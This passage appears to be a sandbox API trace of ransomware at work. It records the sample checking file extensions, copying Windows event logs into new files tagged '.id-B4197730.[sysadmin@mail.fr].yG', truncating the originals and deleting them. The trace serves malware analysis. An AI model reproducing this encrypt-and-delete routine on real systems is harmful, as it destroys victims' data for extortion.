	[0049.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0049.806] lstrlenW (lpString=".dbf") returned 4
	[0049.806] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0049.806] lstrlenW (lpString=".1cd") returned 4
	[0049.806] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0049.806] lstrlenW (lpString=".jpg") returned 4
	[0049.806] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0049.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0049.806] lstrlenW (lpString=".doc") returned 4
	[0049.806] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.807] lstrlenW (lpString=".docx") returned 5
	[0049.807] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.807] lstrlenW (lpString=".pdf") returned 4
	[0049.807] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.807] lstrlenW (lpString=".xls") returned 4
	[0049.807] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.807] lstrlenW (lpString=".xlsx") returned 5
	[0049.807] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.807] lstrlenW (lpString=".ppt") returned 4
	[0049.807] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.807] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0049.807] lstrlenW (lpString=".zip") returned 4
	[0049.807] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.807] lstrlenW (lpString=".rar") returned 4
	[0049.807] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.807] lstrlenW (lpString=".bz2") returned 4
	[0049.807] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.807] lstrlenW (lpString=".7z") returned 3
	[0049.807] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.807] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0049.807] lstrlenW (lpString=".dbf") returned 4
	[0049.807] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.807] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0049.807] lstrlenW (lpString=".1cd") returned 4
	[0049.807] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.807] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0049.807] lstrlenW (lpString=".jpg") returned 4
	[0049.807] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.807] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.807] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51
	[0049.807] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0049.976] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0050.035] CloseHandle (hObject=0x2ec) returned 1
	[0050.035] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20
	[0050.035] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.036] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.036] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.036] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.036] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0050.036] GetLastError () returned 0x0
	[0050.036] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.072] WriteFile (in: hFile=0x34c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.074] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.074] WriteFile (in: hFile=0x34c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x13a, lpOverlapped=0x0) returned 1
	[0050.074] SetEndOfFile (hFile=0x34c) returned 1
	[0050.074] CloseHandle (hObject=0x34c) returned 1
	[0050.076] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.076] SetEndOfFile (hFile=0x2ec) returned 1
	[0050.078] CloseHandle (hObject=0x2ec) returned 1
	[0050.078] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.078] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1
	[0050.078] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0050.078] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0050.078] lstrlenW (lpString=".doc") returned 4
	[0050.078] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.078] lstrlenW (lpString=".docx") returned 5
	[0050.078] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.078] lstrlenW (lpString=".pdf") returned 4
	[0050.078] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.078] lstrlenW (lpString=".xls") returned 4
	[0050.078] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.078] lstrlenW (lpString=".xlsx") returned 5
	[0050.079] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.079] lstrlenW (lpString=".ppt") returned 4
	[0050.079] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0050.079] lstrlenW (lpString=".zip") returned 4
	[0050.079] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.079] lstrlenW (lpString=".rar") returned 4
	[0050.079] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.079] lstrlenW (lpString=".bz2") returned 4
	[0050.079] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.079] lstrlenW (lpString=".7z") returned 3
	[0050.079] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0050.079] lstrlenW (lpString=".dbf") returned 4
	[0050.079] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0050.079] lstrlenW (lpString=".1cd") returned 4
	[0050.079] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0050.079] lstrlenW (lpString=".jpg") returned 4
	[0050.079] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0050.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0050.079] lstrlenW (lpString=".doc") returned 4
	[0050.079] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.079] lstrlenW (lpString=".docx") returned 5
	[0050.079] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.079] lstrlenW (lpString=".pdf") returned 4
	[0050.079] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.080] lstrlenW (lpString=".xls") returned 4
	[0050.080] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.080] lstrlenW (lpString=".xlsx") returned 5
	[0050.080] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.080] lstrlenW (lpString=".ppt") returned 4
	[0050.080] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0050.080] lstrlenW (lpString=".zip") returned 4
	[0050.080] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.080] lstrlenW (lpString=".rar") returned 4
	[0050.080] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.080] lstrlenW (lpString=".bz2") returned 4
	[0050.080] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.080] lstrlenW (lpString=".7z") returned 3
	[0050.080] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0050.080] lstrlenW (lpString=".dbf") returned 4
	[0050.080] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0050.080] lstrlenW (lpString=".1cd") returned 4
	[0050.080] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0050.080] lstrlenW (lpString=".jpg") returned 4
	[0050.080] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.080] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.080] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49
	[0050.080] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.080] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0050.081] CloseHandle (hObject=0x2ec) returned 1
	[0050.081] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20
	[0050.081] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.081] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.081] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.081] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.081] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0050.081] GetLastError () returned 0x0
	[0050.081] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.102] WriteFile (in: hFile=0x34c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.103] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.103] WriteFile (in: hFile=0x34c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x136, lpOverlapped=0x0) returned 1
	[0050.103] SetEndOfFile (hFile=0x34c) returned 1
	[0050.104] CloseHandle (hObject=0x34c) returned 1
	[0050.105] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.105] SetEndOfFile (hFile=0x2ec) returned 1
	[0050.106] CloseHandle (hObject=0x2ec) returned 1
	[0050.106] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.107] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1
	[0050.107] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0050.107] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0050.107] lstrlenW (lpString=".doc") returned 4
	[0050.107] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.107] lstrlenW (lpString=".docx") returned 5
	[0050.107] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.107] lstrlenW (lpString=".pdf") returned 4
	[0050.107] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.107] lstrlenW (lpString=".xls") returned 4
	[0050.107] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.107] lstrlenW (lpString=".xlsx") returned 5
	[0050.107] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.107] lstrlenW (lpString=".ppt") returned 4
	[0050.107] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.107] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0050.107] lstrlenW (lpString=".zip") returned 4
	[0050.107] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.107] lstrlenW (lpString=".rar") returned 4
	[0050.107] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.107] lstrlenW (lpString=".bz2") returned 4
	[0050.107] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.107] lstrlenW (lpString=".7z") returned 3
	[0050.107] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.107] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0050.107] lstrlenW (lpString=".dbf") returned 4
	[0050.108] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.108] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0050.108] lstrlenW (lpString=".1cd") returned 4
	[0050.108] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.108] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0050.108] lstrlenW (lpString=".jpg") returned 4
	[0050.108] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.108] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0050.108] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0050.108] lstrlenW (lpString=".doc") returned 4
	[0050.108] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.108] lstrlenW (lpString=".docx") returned 5
	[0050.108] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.108] lstrlenW (lpString=".pdf") returned 4
	[0050.108] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.108] lstrlenW (lpString=".xls") returned 4
	[0050.108] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.108] lstrlenW (lpString=".xlsx") returned 5
	[0050.108] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.108] lstrlenW (lpString=".ppt") returned 4
	[0050.108] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.108] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0050.108] lstrlenW (lpString=".zip") returned 4
	[0050.108] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.108] lstrlenW (lpString=".rar") returned 4
	[0050.108] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.108] lstrlenW (lpString=".bz2") returned 4
	[0050.108] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.108] lstrlenW (lpString=".7z") returned 3
	[0050.108] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.108] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0050.108] lstrlenW (lpString=".dbf") returned 4
	[0050.108] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.108] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0050.108] lstrlenW (lpString=".1cd") returned 4
	[0050.108] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.108] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0050.109] lstrlenW (lpString=".jpg") returned 4
	[0050.109] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.109] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.109] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56
	[0050.109] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.109] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0050.109] CloseHandle (hObject=0x2ec) returned 1
	[0050.109] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20
	[0050.109] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.109] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.109] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.109] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.109] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0050.110] GetLastError () returned 0x0
	[0050.110] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.146] WriteFile (in: hFile=0x34c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.147] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.147] WriteFile (in: hFile=0x34c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x144, lpOverlapped=0x0) returned 1
	[0050.148] SetEndOfFile (hFile=0x34c) returned 1
	[0050.156] CloseHandle (hObject=0x34c) returned 1
	[0050.158] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.158] SetEndOfFile (hFile=0x2ec) returned 1
	[0050.159] CloseHandle (hObject=0x2ec) returned 1
	[0050.159] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.159] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1
	[0050.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0050.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0050.160] lstrlenW (lpString=".doc") returned 4
	[0050.160] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.160] lstrlenW (lpString=".docx") returned 5
	[0050.160] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.160] lstrlenW (lpString=".pdf") returned 4
	[0050.160] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.160] lstrlenW (lpString=".xls") returned 4
	[0050.160] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.160] lstrlenW (lpString=".xlsx") returned 5
	[0050.160] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.160] lstrlenW (lpString=".ppt") returned 4
	[0050.160] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0050.160] lstrlenW (lpString=".zip") returned 4
	[0050.160] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.160] lstrlenW (lpString=".rar") returned 4
	[0050.160] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.160] lstrlenW (lpString=".bz2") returned 4
	[0050.160] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.160] lstrlenW (lpString=".7z") returned 3
	[0050.160] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0050.160] lstrlenW (lpString=".dbf") returned 4
	[0050.160] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0050.160] lstrlenW (lpString=".1cd") returned 4
